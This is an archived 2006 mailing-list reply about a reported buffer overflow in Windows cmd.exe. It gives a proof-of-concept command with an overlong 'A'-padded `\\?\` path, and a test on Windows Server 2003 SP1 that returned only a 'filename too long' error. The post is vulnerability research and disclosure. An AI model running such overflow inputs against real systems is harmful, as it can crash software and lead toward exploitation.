Vulnerability Development mailing list archives

Re: Windows Command Processor CMD.EXE Buffer Overflow


From: "The SNiFF" <thesniff () gmail com>
Date: Fri, 20 Oct 2006 10:58:18 +0200

Copy-paste the following line in cmd.exe and execute it..
(it is a single command, has been split into multiple lines for
readability sake).

%COMSPEC% /K "dir
\\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

(260 characters of 'A's)

Tried it on Win2k3 SP1:
C:\Documents and Settings\Administrator>%COMSPEC% /K "dir\\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
System replied:
The filename or extension is too long.

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